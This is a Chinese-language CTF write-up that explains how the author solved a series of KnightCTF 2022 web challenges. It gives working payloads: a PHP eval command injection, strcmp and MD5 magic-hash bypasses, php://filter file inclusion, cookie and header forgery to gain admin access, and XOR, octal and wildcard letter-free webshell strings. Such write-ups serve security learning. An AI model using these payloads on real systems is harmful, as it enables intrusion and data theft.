前几天打了Real World CTF 2022，难度不大，脑洞很大...某些题确实只能靠积累和特征（狗头）
Sometimes you need to look wayback
这道题进去是个Discord.js的介绍界面，也没啥思路，所以看源码，发现注释：
<!--Test Bot Source Code: https://github.com/KCTF202x/repo101-->
去看源码，是js，本来想着审计一下，但是好像页面上也没有接口，就尝试看看历史版本，然后在历史提交记录中找到了flag...
长见识了
Do something special
一进页面，发现下面有个Get the flag!按钮，点一下提示404，观察到url有点奇怪
http://do-something-special.kshackzone.com/gr@b_y#ur_fl@g_h3r3!
后面有一些特殊字符，猜测可能是特殊字符的问题，抓包看看
果然，访问的只是#号前面的url，这是因为#在url中代表的是锚点，也就是书签，用于定位到页面的特定位置，所以不会当做url访问。
只需要把#进行url编码%23即可
http://do-something-special.kshackzone.com/gr@b_y%23ur_fl@g_h3r3!
flag:KCTF{Sp3cial_characters_need_t0_get_Url_enc0ded}
Obsfuscation Isn't Enough
一进去是一个登录界面，随便输账号密码登录没反应，看源码，发现了一段奇怪的代码
function validate() {
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}
这也是js代码的一种表达形式，叫做jsfuck，详细介绍可以参见JSFuck - 维基百科，自由的百科全书 (wikipedia.org)
简单来说，这就是js代码的一种表达形式，比如+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])就可以得出Infinity，而这个单词可以用于获取字母（取下标即可）。这样拼接就可以得出所有字母，但是这样得到的代码非常冗长...就是一种混淆的方式
直接找一个jsfuck解密网站解密：UserAgentInfo
解密成功，结果是：
if (document.forms[0].username.value == "83fe2a837a4d4eec61bd47368d86afd6" && document.forms[0].password.value == "a3fa67479e47116a4d6439120400b057") document.location = "150484514b6eeb1d99da836d95f6671d.php"
可以看到输入指定的账号密码之后就会转到150484514b6eeb1d99da836d95f6671d.php，那直接访问就好啦~
flag：KCTF{0bfuscat3d_J4v4Scr1pt_aka_JSFuck}
Zero is not the limit
一进去就显示了一个json数据
{
"user1" : {
"name" : "Jhon",
"password" : "Jhon123",
"id": 1
},
"user2" : {
"name" : "Mark",
"password" : "mark2468@",
"id": 2
},
"user3" : {
"name" : "Taison",
"password" : "taisonalu@",
"id": 3
},
"user4" : {
"name" : "Json",
"password" : "figmaonalu@",
"id": 4
},
"user5" : {
"name" : "Altaf",
"password" : "altaf2489@",
"id": 5
}
}
题目提示Hint: You have to think out side from '/user/'.
看来有一个/user/文件夹，尝试访问/user/1/，回显user1的信息。
题目名字叫zero is not the limit，所以直接访问/user/-1/，出flag...
flag：KCTF{tHeRe_1s_n0_l1m1t}
Find Pass Code - 1
进去有个输入框，也不知道是干啥的，所以还是看源码，发现注释：
<!-- Hi Serafin, I learned something new today.I build this website for you to verify our KnightCTF 2022 pass code. You can view the source code by sending the source param-->
要传一个source参数，看到源码：
<?php
require "flag.php";
if (isset($_POST["pass_code"])) {
if (strcmp($_POST["pass_code"], $flag) == 0 ) {
echo "KCTF Flag : {$flag}";
} else {
echo "Oh....My....God. You entered the wrong pass code.<br>";
}
}
if (isset($_GET["source"])) {
print show_source(__FILE__);
}
?>
当这两个字符串相同的时候会返回0，但我们不知道flag是啥，但是strcmp是可以绕过的：
strcmp字符串比较绕过 | Crayon's blog (crayon-xin.github.io)
所以直接传数组就可以了
payload：POST pass_code[]=1
flag：KCTF{ShOuLd_We_UsE_sTrCmP_lIkE_tHaT}
Most Secure Calculator - 1
一进去是个计算器，第一反应就是SSTI，然后当我输入了{}之后，出现了这样的提示...
我有了个大胆的猜想，这该不会是个纯eval吧...
我战战兢兢地输入了system('ls');，执行成功...
啥也不说了，送分题。system('cat flag.txt');，搞定。
flag：KCTF{WaS_mY_cAlCuLaToR_sAfE}（当然不safe了...）
Can you be Admin?
这道题感觉有点脑洞（也可能是积累不够）
一开始显示Only KnightSquad agents can access this page.
agents是关键词，指向User-Agent请求头，抓包改成KnightSquad，出现新提示：
This page refers to knight squad home network. So, Only Knight Squad home network can access this page.
这句话应该是在说内网才能访问，这里确实不太好想。这句话指向的是Referer，Referer是指的来源，那么只要来源是localhost就可以是内网访问了（貌似127.0.0.1都不行）
然后页面上出现了一个登录框，依然是看源码（直接F12就行，如果右键看还需要发一次包），看到了注释
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解码网站解码（如果控制台直接弹是会报错的，需要把最后一对括号删掉，出来是unicode，直接alert弹也行），得到：
F`V,7DIIBn+?CWe@<,q!$?0EpF*DPCA0<oU8RZI/DJ<`sF8
这就纯靠特征了，不过也可以用basecrack自动判断一下：
mufeedvh/basecrack: Decode All Bases - Base Scheme Decoder (github.com)
解码成功，内容是
username : tareq
password : IamKnight
填入，提交，抓包改header，得到了一个Normal User页面
看response里面有一个Set-Cookie
Set-Cookie: VXNlcl9UeXBl=Tm9ybWFsX1VzZXI%3D
先urldecode再base64解码，得到User_Type=Normal_User，直接改成Admin，base64编码再url编码，放到cookie里面再访问，得到Admin页面和flag
flag：KCTF{FiN4LlY_y0u_ar3_4dm1N}
My PHP Site
进去是个欢迎页面，但是url里面有个file=index.html参数很有意思，这道题说了是php，那估计file就是读文件的参数，所以试着换成index.php，显示ERROR!!，应该有过滤，那就用php://filter绕过，?file=php://filter/convert.base64-encode/resource=index.php，得到源码：
<?php
if(isset($_GET['file'])){
if ($_GET['file'] == "index.php") {
echo "<h1>ERROR!!</h1>";
die();
}else{
include $_GET['file'];
}
}else{
echo "<h1>You are missing the file parameter</h1>";
#note :- secret location /home/tareq/s3crEt_fl49.txt
}
?>
然而如果你直接?file=/home/tareq/s3crEt_fl49.txt是会提示找不到的。直接?file=s3crEt_fl49.txt就可以了（我也不知道为什么要在这里玩我们一把...）
flag：KCTF{L0C4L_F1L3_1ncLu710n}
Bypass!! Bypass!! Bypass!!
进去直接403Forbidden，应该是有验证，看源码发现注释（话说好像出题人很喜欢这么给提示）
<!-- generats auth token -> /api/request/auth_token -->
直接访问，提示Method Not Allowed，换POST，得到auth_token，但是放到哪里呢？
这时候就需要一点经验了。很多时候你以为是黑盒测试，其实可以是白盒...
github搜索/api/request/auth_token，在code结果里面你会发现这样一段代码
这就是相关代码，审计代码发现需要在X-Authorized-For请求头里面写auth_token，抓包改header发请求，跟踪重定向，在最终页面中发现flag
flag：KCTF{cOngRatUlaT10Ns_wElCoMe_t0_y0ur_daShBoaRd}
Find Pass Code - 2
仍然进去直接看源码，注释：
<!-- Hi Serafin, I think you already know how you can view the source code :P-->
传source参数拿到源码
<?php
require "flag.php";
$old_pass_codes = array("0e215962017", "0e730083352", "0e807097110", "0e840922711");
$old_pass_flag = false;
if (isset($_POST["pass_code"]) && !is_array($_POST["pass_code"])) {
foreach ($old_pass_codes as $old_pass_code) {
if ($_POST["pass_code"] === $old_pass_code) {
$old_pass_flag = true;
break;
}
}
if ($old_pass_flag) {
echo "Sorry ! It's an old pass code.";
} else if ($_POST["pass_code"] == md5($_POST["pass_code"])) {
echo "KCTF Flag : {$flag}";
} else {
echo "Oh....My....God. You entered the wrong pass code.<br>";
}
}
if (isset($_GET["source"])) {
print show_source(__FILE__);
}
?>
关键判定是这一句
else if ($_POST["pass_code"] == md5($_POST["pass_code"])) { echo "KCTF Flag : {$flag}";}
也就是说要找到一个字符串满足$a==md5($a)，是弱相等，所以考虑都是0e开头，参考关于php弱类型--MD5
脚本我没跑，随便选一个直接用就好。
payload：POST:pass_code=0e00275209979
flag：KCTF{ShOuD_wE_cOmPaRe_MD5_LiKe_ThAt__Be_SmArT}
Most Secure Calculator - 2
又是计算器，但是应该有变化，先看看源码，发现注释：
The calculator accepts only numbers and symbols.I have hidden some interesting things in flag.txt and I know you can create an interesting equation to read that file.
把字母全都过滤了，考的是无字母webshell
1.发现异或没被过滤，可以用异或进行绕过，原理就是两个字符异或是它们的ascii二进制码进行按位异或，得到的结果再对应字符
这里有一个经验：最好用三个字符进行异或，这样就可以用两个相同的字符造出%00，%00与任意字符异或都是这个字符本身。这样，就可以直接使用那些没被过滤的字符了。
选择一个字符为基准，我选择的是'0'，我用的构造脚本：
<?php
$str="";
for($i=32;$i<=64;$i++)
{
$str .= chr($i);
}
for($i=91;$i<=94;$i++)
{
$str .= chr($i);
}
$str .= '`';
for($i=123;$i<=126;$i++)
{
$str .= chr($i);
}
print_r($str);
for($i=0;$i<strlen($str);$i++)
{
for($j=0;$j<strlen($str);$j++)
{
echo $str[$i],' ',$str[$j],' ','0'^$str[$i]^$str[$j];//三个可以造出%00，从而直接使用未被过滤的字符
echo "\n";
}
}
然后在里面选就可以了，我的payload：
("@@@@@@"^"3934%-")('00000'^'(*800'^'{{| *')
system('cat *');
2.利用八进制
php可以识别8进制和16进制，8进制需要在8进制ascii码前面加上\，十六进制需要加上\x
payload：("\162\145\141\144\146\151\154\145")("\146\154\141\147\56\164\170\164")
readfile('flag.txt')
3.利用通配符
这道题没有禁止?、/和`，那就还有一个思路，直接用?匹配命令和文件名，然后用反引号进行执行
payload：`/???/??? ????.???`（你会在结尾看到flag的~）
姿势很多，自行探索~
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